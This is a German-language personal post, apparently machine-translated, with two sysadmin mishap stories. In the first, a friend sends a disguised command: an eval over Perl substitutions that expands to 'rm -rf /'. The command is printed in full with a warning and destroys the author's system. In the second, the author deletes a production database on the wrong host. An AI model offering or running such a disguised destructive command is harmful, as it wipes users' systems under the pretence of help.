Vor vielen Jahren war ich zu Hause, um ein paar Sachen in PHP zu programmieren, während ich an einem Projekt mit einem Freund von mir arbeitete, der der Projektbetreuer war. Im Rahmen einer Zusammenarbeit haben wir uns gegenseitig kontaktiert. Wir scherzen immer im Spiel hin und her.
Ich habe versucht, ssh-agent dazu zu bringen, ordnungsgemäß auf meinem Computer zu arbeiten, während wir einen Religionskrieg zwischen Perl und PHP hatten. Dann erwähnte ich etwas darüber, dass ssh-agent bewertet werden muss (nicht sicher, warum ich das gesagt habe). Also schickte er mir diese Nachricht in dem Bemühen, mir bei meinem Problem zu helfen (denken Sie daran, dass ich zum Wurzeln verurteilt war):
\# eval $(echo ssh-agent |
perl -pe 's/h-a/m -r/' |
perl -pe 's/^ss/r/' |
perl -pe 's/gent/f \//')
WARNUNG! LASSEN SIE DIESEN BEFEHL NICHT LAUFEN !!!
WENN Sie das eval entfernen und den inneren Befehl von selbst ausführen, ist es:
rm -rf /
Ich brauchte 4 Sekunden, um zu bemerken, was passierte, aber der Schaden war bereits angerichtet. Ich musste mein Betriebssystem neu installieren. Zum Glück wurde nichts von meiner Arbeit ausgelöscht, außer ein paar Sachen in / etc iirc. Er hatte ein RIESIGES Lachen, als ich ihm eine Nachricht des Grauens schickte und fragte, warum er das tat. Wir sind beide langjährige Systemingenieure. Er glaubte nicht, dass ich es laufen lassen würde und würde es vor dem Einchecken sorgfältiger prüfen, und ich vertraute ihm einfach, sodass ich nicht einmal daran dachte, dass er herumspielte. Unnötig zu erwähnen, dass diese kleine Geschichte die ganze Zeit zwischen uns auftaucht. Also beschloss ich, es zu verewigen.
Wie habe ich dieses Problem behoben? Ich vertraue niemandem!
Eine andere, weniger interessante Geschichte ist, dass ich vor ein paar Jahren bei der Arbeit an einer missionskritischen Box gearbeitet habe. Ich hatte ein paar Begriffe offen für verschiedene Maschinen. Ich musste einige überflüssige Sachen in einem Verzeichnis entfernen. Nun, ich habe mich in meinen Begriffen verlaufen und bin aus Versehen dazu gekommen . in meinem lokalen Verzeichnis aber auf dem falschen Host (falscher Begriff) !!. Ich habe den Befehl in / var / lib / mysql anstelle von / tmp auf dem Anwendungsserver ausgeführt (anderer Begriff). Unnötig zu erwähnen, dass ich die Produktionsdatenbank gelöscht habe. Glücklicherweise hatten wir einen warmen Standby-Modus, zu dem wir gewechselt haben, während ich und ein Kollege den primären aus Backups und dem Standby-Modus wiederhergestellt haben. Das hat ungefähr 18 Stunden gedauert.
Schadensbegrenzung: Überlegen Sie sich vor der Ausführung, in welchen Fenstern ich Befehle ausführe.